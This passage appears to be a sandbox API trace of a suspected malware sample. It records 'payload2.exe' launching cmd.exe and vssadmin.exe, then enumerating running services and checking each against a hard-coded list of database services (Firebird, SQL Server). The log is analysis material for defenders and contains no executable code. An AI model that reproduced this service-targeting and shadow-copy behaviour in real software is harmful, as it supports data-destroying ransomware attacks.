	[0193.821] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0193.821] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0193.827] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0193.867] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0193.868] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0193.868] lstrlenW (lpString="payload2.exe") returned 12
	[0193.868] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0193.869] lstrlenW (lpString="cmd.exe") returned 7
	[0193.869] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0193.869] lstrlenW (lpString="conhost.exe") returned 11
	[0193.869] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0193.870] lstrlenW (lpString="consent.exe") returned 11
	[0193.870] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0193.871] lstrlenW (lpString="vssadmin.exe") returned 12
	[0193.871] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0193.871] lstrlenW (lpString="dllhost.exe") returned 11
	[0193.871] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0193.872] CloseHandle (hObject=0x590) returned 1
	[0193.872] Sleep (dwMilliseconds=0x1f4) 
	[0194.699] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668218
	[0194.700] EnumServicesStatusExW (in: hSCManager=0x668218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0194.701] GetLastError () returned 0xea
	[0194.701] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4470140
	[0194.702] EnumServicesStatusExW (in: hSCManager=0x668218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0194.703] CloseServiceHandle (hSCObject=0x668218) returned 1
	[0194.703] lstrlenW (lpString="Appinfo") returned 7
	[0194.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0194.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0194.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0194.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0194.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0194.703] lstrlenW (lpString="AppXSvc") returned 7
	[0194.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0194.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0194.703] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0194.703] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0194.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0194.703] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0194.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0194.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0194.703] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0194.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0194.704] lstrlenW (lpString="Audiosrv") returned 8
	[0194.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0194.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0194.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0194.704] lstrlenW (lpString="BFE") returned 3
	[0194.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0194.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0194.704] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0194.704] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0194.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0194.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0194.704] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0194.704] lstrlenW (lpString="CDPSvc") returned 6
	[0194.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0194.704] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0194.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0194.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0194.705] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0194.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0194.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0194.705] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0194.705] lstrlenW (lpString="CryptSvc") returned 8
	[0194.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0194.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0194.705] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0194.705] lstrlenW (lpString="DcomLaunch") returned 10
	[0194.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0194.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0194.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0194.705] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0194.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0194.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0194.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0194.705] lstrlenW (lpString="Dhcp") returned 4
	[0194.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0194.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0194.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0194.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0194.705] lstrlenW (lpString="Dnscache") returned 8
	[0194.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0194.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0194.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0194.706] lstrlenW (lpString="DPS") returned 3
	[0194.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0194.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0194.706] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0194.706] lstrlenW (lpString="DusmSvc") returned 7
	[0194.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0194.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0194.706] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0194.706] lstrlenW (lpString="EventLog") returned 8
	[0194.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0194.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0194.706] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0194.706] lstrlenW (lpString="EventSystem") returned 11
	[0194.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0194.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0194.706] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0194.707] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0194.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0194.707] lstrlenW (lpString="FontCache") returned 9
	[0194.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0194.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0194.707] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0194.707] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0194.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0194.707] lstrlenW (lpString="gpsvc") returned 5
	[0194.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0194.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0194.707] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0194.707] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0194.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0194.707] lstrlenW (lpString="iphlpsvc") returned 8
	[0194.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0194.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0194.707] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0194.707] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0194.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0194.707] lstrlenW (lpString="KeyIso") returned 6
	[0194.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0194.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0194.707] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0194.707] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0194.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0194.707] lstrlenW (lpString="LanmanServer") returned 12
	[0194.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0194.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0194.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0194.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0194.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0194.708] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0194.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0194.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0194.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0194.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0194.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0194.708] lstrlenW (lpString="lfsvc") returned 5
	[0194.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0194.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0194.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0194.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0194.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0194.708] lstrlenW (lpString="lmhosts") returned 7
	[0194.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0194.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0194.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0194.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0194.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0194.708] lstrlenW (lpString="LSM") returned 3
	[0194.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0194.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0194.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0194.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0194.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0194.708] lstrlenW (lpString="MpsSvc") returned 6
	[0194.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0194.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0194.709] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0194.709] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0194.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0194.949] lstrlenW (lpString="NcbService") returned 10
	[0194.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0194.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0194.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0194.949] lstrlenW (lpString="netprofm") returned 8
	[0194.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0194.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0194.949] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0194.949] lstrlenW (lpString="NgcSvc") returned 6
	[0194.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0194.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0194.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0194.949] lstrlenW (lpString="NlaSvc") returned 6
	[0194.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0194.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0194.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0194.949] lstrlenW (lpString="nsi") returned 3
	[0194.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0194.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0194.949] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0194.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0194.950] lstrlenW (lpString="PcaSvc") returned 6
	[0194.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0194.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0194.950] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0194.950] lstrlenW (lpString="PlugPlay") returned 8
	[0194.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0194.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0194.950] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0194.950] lstrlenW (lpString="Power") returned 5
	[0194.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0194.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0194.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0194.950] lstrlenW (lpString="ProfSvc") returned 7
	[0194.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0194.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0194.950] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0194.950] lstrlenW (lpString="RpcEptMapper") returned 12
	[0194.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0194.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0194.950] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0194.950] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0194.951] lstrlenW (lpString="RpcSs") returned 5
	[0194.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0194.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0194.951] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0194.951] lstrlenW (lpString="SamSs") returned 5
	[0194.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0194.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0194.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0194.951] lstrlenW (lpString="Schedule") returned 8
	[0194.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0194.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0194.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0194.951] lstrlenW (lpString="SecurityHealthService") returned 21
	[0194.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0194.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0194.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0194.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0194.952] lstrlenW (lpString="SENS") returned 4
	[0194.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0194.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0194.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0194.952] lstrlenW (lpString="ShellHWDetection") returned 16
	[0194.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0194.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0194.952] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0194.952] lstrlenW (lpString="Spooler") returned 7
	[0194.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0194.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0194.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0194.952] lstrlenW (lpString="StateRepository") returned 15
	[0194.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
